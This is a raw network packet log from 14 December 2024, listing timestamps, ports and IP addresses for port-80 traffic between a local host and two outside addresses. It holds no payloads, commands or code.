Dec 14, 2024 14:56:32.740547895 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.740689993 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.741619110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.741781950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.741900921 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.742801905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.742914915 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.743165016 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.743990898 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.744123936 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.744178057 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.745191097 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.745245934 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.745305061 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.746367931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.746486902 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.746558905 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.747560978 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.747684002 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.747747898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.748735905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.748840094 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.749001026 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.749922037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.749968052 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.750060081 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.751092911 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.751231909 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.751302958 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.752321005 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.752398968 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.752497911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.753443003 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.753606081 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.753695011 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.754631042 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.754733086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.754926920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.755870104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.755949974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.756217003 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.757206917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.757313013 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.757376909 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.758184910 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.758301973 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.758363008 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.759396076 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.759495974 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.759565115 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.760567904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.760812044 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.760885954 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.761761904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.761867046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.761926889 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.762948990 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.763055086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.763114929 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.764038086 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.787414074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.787596941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.787657976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.787899017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.787940979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.788008928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.788048983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.789011002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.789061069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.789127111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.789160967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.790144920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.790184975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.790244102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.790280104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.791238070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.791275024 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.791348934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.791383028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.792382956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.792416096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.792463064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.792501926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.793489933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.793521881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.793551922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.793581009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.794610977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.794651031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.794867992 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.795293093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.795728922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.795794010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.795860052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.795967102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.796835899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.796878099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.796941042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.796976089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.797946930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.798007011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.798039913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.798145056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.799042940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.799084902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.799149990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.799187899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.800180912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.800309896 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.800359011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.801316023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.801357031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.802289963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.802438021 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.802480936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.803340912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.803394079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.803523064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.803565979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.803646088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.803757906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.804625988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.804717064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.804758072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.805757046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.805814981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.805948973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.805990934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.806869030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.806996107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.807039976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.807995081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.808059931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.808093071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.808130026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.809067011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.809170961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.809196949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.809231997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.810184002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.810229063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.810328007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.810328007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.811304092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.811400890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.811413050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.811500072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.812443972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.812494993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.812520027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.812602997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.813579082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.813621044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.813679934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.813716888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.814691067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.814738035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.814798117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.815057993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.815784931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.815829992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.815855980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.816164970 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.816888094 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.816937923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.816968918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.817003965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.817997932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.818069935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.818095922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.818134069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.819122076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.819205046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.819237947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.819355965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.820772886 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.826425076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.826441050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.826467991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.826479912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.827035904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.827078104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.827105045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.827505112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.827982903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.828023911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.828075886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.828221083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.829184055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.829207897 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.829221964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.829258919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.830189943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.830231905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.830264091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.830306053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.831357956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.831408024 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.831455946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.831496954 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.832452059 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.832496881 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.832606077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.832655907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.833550930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.833589077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.833666086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.833707094 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.834664106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.834759951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.834805965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.834805965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.835791111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.835839033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.835922956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.835968018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.836930037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.837007046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.837032080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.837070942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.837995052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.838080883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.838130951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.838165998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.839159966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.839210987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.839243889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.839282036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.840240955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.840277910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.840308905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.840949059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.841376066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.841419935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.841495991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.841577053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.842499018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.842542887 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.842573881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.842736959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.843570948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.843686104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.843697071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.843732119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.844692945 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.844733000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.844757080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.844969034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.845825911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.845870018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.845916986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.846028090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.847146034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.847183943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.847289085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.847326994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.848967075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.849004984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.849112034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.849244118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.849761963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.849797964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.849824905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.849857092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.850591898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.850636959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.850651026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.850677013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.851380110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.851423025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.859072924 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.894334078 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.894557953 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.894637108 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.894640923 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.894685030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.894727945 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.895853043 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.895944118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.895998955 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.897016048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.897159100 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.897223949 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.898178101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.898472071 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.898526907 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.899461031 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.899879932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.899940014 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.900588989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.900688887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.900744915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.901737928 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.901866913 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.901921034 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.902901888 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.903008938 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.904098034 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.904171944 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.904211998 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.905297041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.905375004 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.905419111 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.906405926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.906500101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.906634092 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.906811953 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.907666922 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.907804966 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.907856941 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.908920050 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.909024000 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.909084082 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.909985065 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.910099983 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.910233021 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.911183119 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.911297083 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.912355900 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.912422895 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.912462950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.913552999 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.913564920 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.913665056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.913728952 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.914724112 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.914848089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.914896965 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.915916920 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.916045904 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.916095018 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.917108059 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.917229891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.918277025 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.918345928 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.918427944 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.919461012 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.919536114 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.919568062 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.920690060 CET	80	49888	185.81.68.147	192.168.2.5
